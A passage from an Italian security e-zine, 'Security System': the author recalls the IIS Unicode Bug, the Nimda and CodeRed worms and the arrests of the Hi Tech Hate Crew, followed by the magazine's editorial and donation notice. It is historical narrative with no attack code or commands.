di essere capitato nell'azienda più squattrinata della mia città. Alla fine, dopo una cena a base di hamburger e patatine (il meglio che un diciannovenne in quel momento potesse desiderare), il responsabile commerciale mi offrì un contratto a progetto di un milione di lire. L'obiettivo era quello di creare una intranet (fino a quel momento ogni client era dotato di un indirizzo IP pubblico raggiungibile direttamente da Internet), una zona demilitarizzata per i server, installare un firewall e configurare i nuovi servizi DNS e di posta, possibilmente più sicuri dei precedenti che nel frattempo erano diventati il covo di hacker maltesi. Terminai il progetto in un mese scarso. Successivamente, a seguito di una nuova esperienza lavorativa romana durata poco più di 12 mesi (dal settembre 2001 all'ottobre 2002), quell'azienda sarebbe diventata la mia “fucina di formazione professionale” (in pratica laboratori e sistemi gratis per svolgere test di ogni tipo) per ben tre anni. Questo prima di realizzare che i consulenti con partita iva guadagnavano molto di più degli apprendisti a tempo determinato, la tipologia di contratto che fino a quel momento loro erano stati capaci di offrirmi. Per la cronaca, non ho mai svolto il servizio di leva, ricevendo il congedo nel tardo 2003. Non chiedetemi come ho fatto però… I worm e gli arresti In termini di diffusione l'Unicode Bug può essere considerata senza alcun dubbio la vulnerabilità più eclatante nella storia informatica dei web server, forse quella che addirittura, sfruttata da worm come Nimda e CodeRed (che nei tre/quattro anni successivi infettarono centinaia di migliaia di PC) è stata, in termini di tempo, la più duratura di qualunque altra sino ad oggi mai esistita. Il 24 settembre 2001, quasi un anno dopo dalla scoperta della falla, il 58 Racconti dall’ underground portale di informazione e notizie online “Punto Informatico” riportò le dichiarazioni di alcuni esperti che definirono Nimda come il virus “a più veloce diffusione mai apparso su Internet”. Erano passati 11 mesi e solo poche decine di migliaia di server web avevano installato la patch del sito Microsoft disponibile sin dall'agosto del 2000. LA VERA STORIA DELL’ UNICODE BUG Ma che cosa avevano fatto esattamente di così eclatante questi ragazzi? Avevano semplicemente bucato alcune decine di web server con una vulnerabilità ancora molto in voga ai tempi (appunto l'Unicode Bug), già nota da più di un anno e per giunta non scoperta da loro. Tra questi web server ve ne erano alcuni della FAO, del CNR, del Ministero della Salute. Uno era addirittura della NASA. I giornali tuonarono per questo scandalo ed il Maurizio Costanzo Show fece seguito. Tutti si dimenticarono di dire però che quel serverino dell'agenzia spaziale americana, mezzo isolato, era stato dimenticato dai sistemisti, il che faceva capire quale importanza ricoprisse realmente per la National Aeronautics and Space Administration. Si trattava in realtà di un server di quart'ordine, prossimo alla dismissione. Insomma una colossale balla, gonfiata ad arte allo stesso modo di come nei mesi precedenti si era narrato nei giornali italiani di fantomatici hacker sardi che rubavano dati dai computer delle loro vittime sfruttando programmi “professionali” come Netbus o BackOrifice. Quando fu chiaro che l'Unicode Bug rappresentava una grossissima minaccia, appunto solo dopo l'avvento di famelici worm, cominciarono anche a scattare le prime manette. Alcuni minorenni che componevano il fantomatico gruppo hacker Hi Tech Hate Crew dedito principalmente al defacement, ovvero alla modifica al fine di scherno della pagina principale dei siti web di mezzo mondo, si resero protagonisti di alcune azioni incaute, sfruttando le informazioni divulgate pubblicamente da Rain Forest Puppy il 17 ottobre del 2000. Sono sempre stato contrario alla full-disclosure dei dettagli dell'Unicode Bug (e vedendo gli effetti prodotti con il senno del poi continuo ad esserlo tutt'oggi) ma ripensandoci bene probabilmente se non l'avesse fatto lui, qualcun altro avrebbe divulgato poco dopo la notizia al suo posto. Il grosso evento si era infatti già verificato con quel primo messaggio anonimo nel forum di Packetstorm. Il resto sarebbe comunque venuto da sé. Penso che quello che mi ha differenziato rispetto ai ragazzi dell'Hi Tech Hate Crew è stato probabilmente il rifiutare lo strumento del defacement come mezzo per mettermi in luce. E se oggi sono qui a poter raccontare di non aver mai ricevuto una visita della guardia di finanza, è forse perché mi rendevo conto che con certe azioni potevo magari danneggiare qualche povero cristo che portava a casa la pagnotta facendo il sistemista Windows, mentre probabilmente fino a poco tempo prima faceva il programmatore RPG[4] in un'azienda fallita. I ragazzi italiani arrestati dell'Hi Tech Hate Crew divennero quasi immediatamente celebri, ottenendo gran parte della loro fama grazie alle balle sparate dai media e giungendo addirittura ad essere “lodati” al Maurizio Costanzo Show che dedicò alla loro storia più di una puntata. Il tenente colonnello della guardia di Finanza Umberto Rapetto, l'attuale responsabile del Gruppo Anticrimine Tecnologico, giunse a dichiarare che si trattava “di persone con un profilo tecnico avanzato ed assolutamente al di sopra della norma” pur la giovanissima età, che la loro cattura era stata propiziata solo grazie alle competenze dei professionisti che componevano il suo gruppo e che si stava lavorando a stretto giro per mettere le profonde conoscenze informatiche della crew a disposizione delle forze dell'ordine. Tutto questo accadeva appena un anno e mezzo prima di conoscere quella splendida ragazza che poi sarebbe diventata mia moglie. [4] Linguaggio di programmazione nativo della piattaforma IBM oggi conosciuta come iSeries o System i ed in passato meglio nota come AS/400. 59 S ecurity System rispetta le idee di tutte le correnti di pensiero che muovono il settore dell'Information Technology, sia quella open source che quella contrapposta del closed source e le relative che da ciascuna di esse derivano. Gli articoli della rivista non sono firmati dagli autori, in quanto la responsabilità sui contenuti viene egualmente condivisa da tutti i membri attraverso attività incrociate di revisione, pertanto sono da considerarsi frutto dell'intero staff che compone la redazione. La rivista è a pagamento, comunque ciascun numero dopo 120 giorni dalla pubblicazione viene reso gratuitamente disponibile a tutti gli utenti. Trattandosi di una rivista elettronica, non possiamo in alcun modo evitare che copie di Security System non regolarmente acquistate dal sito possano circolare tra gli utenti della rete. E' bene però considerare che la rivista è frutto dello sforzo di persone che intendono vedere il loro lavoro riconosciuto e gratificato sotto il profilo economico e che non intendono sostenere e far crescere un progetto che non vede rispettati questi principi. Se pertanto hai tra la mani un numero di Security System ottenuto attraverso P2P, ftp, siti che non siano questo o che ti è stato inviato da un amico, ma volessi ugualmente premiarci ed incoraggiarci per il lavoro svolto, acquistalo regolarmente come indicato nel sito http://www.segfault.it. o fai una donazione libera. Ciò ci permetterà di dedicarci a tempo pieno nel progetto, espandendolo e migliorandolo nel tempo. Ti ricordiamo inoltre che per qualsiasi suggerimento in merito alla grafica, ai contenuti o altro inerente la rivista puoi contattarci all'indirizzo [email protected]. Puoi anche inviarci consigli sugli argomenti che vorresti vedere pubblicati nel prossimo numero. Vi aspettiamo numerosi! Security System Staff
Documenti analoghi
Cenni a problematiche di sicurezza
• L’esempio è tratto dal libro seguente:
Vulnerabilità su Linux - Guida pratica alle tecniche di exploiting
di Enrico Feresin
Gruppo Editoriale Infomedia